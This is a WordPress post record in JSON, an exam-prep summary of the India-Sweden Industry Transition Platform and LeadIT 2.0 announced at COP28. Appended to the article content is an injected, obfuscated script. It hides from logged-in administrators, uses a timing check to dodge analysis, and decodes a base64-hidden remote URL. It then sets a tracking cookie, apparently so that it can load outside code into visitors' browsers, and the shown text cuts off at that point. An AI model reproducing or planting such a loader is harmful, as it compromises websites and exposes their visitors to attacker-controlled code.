{"id":519,"date":"2023-12-12T12:13:10","date_gmt":"2023-12-12T12:13:10","guid":{"rendered":"https:\/\/iasquest.com\/?p=519"},"modified":"2026-02-11T19:27:33","modified_gmt":"2026-02-11T19:27:33","slug":"india-sweden-declaration-on-industry-transition-platform-is-an-alliance-for-a-sustainable-future","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/india-sweden-declaration-on-industry-transition-platform-is-an-alliance-for-a-sustainable-future\/","title":{"rendered":"India-Sweden Declaration on Industry Transition Platform is an alliance for a sustainable future."},"content":{"rendered":"\n<ul class=\"wp-block-list\">\n<li>India and Sweden are hosting this side event at COP28 that will present the objectives of the next phase of the <strong>Leadership Group for Industry Transition (2024-2026)<\/strong>, LeadIT 2.0 and a new bilateral Industry Transition Platform between <strong>Sweden and India.<\/strong><\/li>\n\n\n\n<li>The event addresses how LeadIT 2.0 will accelerate a just and equitable industry transition through partnerships, technology co-development, and financial and technical assistance focused on industry decarbonization for emerging and developing economies.<\/li>\n\n\n\n<li>At COP28, Lead IT members adopted a Mission Statement for the initiative\u2019s next phase (2024-2026) to reaffirm their dedication to accelerating a just and equitable industry transition to achieve the goals of the Paris Agreement.<\/li>\n\n\n\n<li>The Leadership Group for Industry Transition (LeadIT) gathers countries and companies that are committed to action to achieve the Paris Agreement.<\/li>\n\n\n\n<li>It was launched by the governments of Sweden and India at the <strong>UN Climate Action Summit<\/strong> in September 2019 and is supported by the <strong>World Economic Forum.<\/strong><\/li>\n\n\n\n<li>LeadIT members subscribe to the notion that energy-intensive industry can and must progress on low-carbon pathways, aiming to achieve <strong>net-zero carbon<\/strong> emissions by 2050.38 LeadIT members have committed to action to achieve the Paris Agreement.<\/li>\n\n\n\n<li>LeadIT fosters collaboration between decision-makers in the public and private sector to create conducive policies and share best practices to accelerate industry transition. A joint Mission Statement for the next phase of LeadIT (2024-2026),LeadIT 2.0 was adopted at the annual LeadIT Summit at COP28 in Dubai on 9 December 2023.<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; 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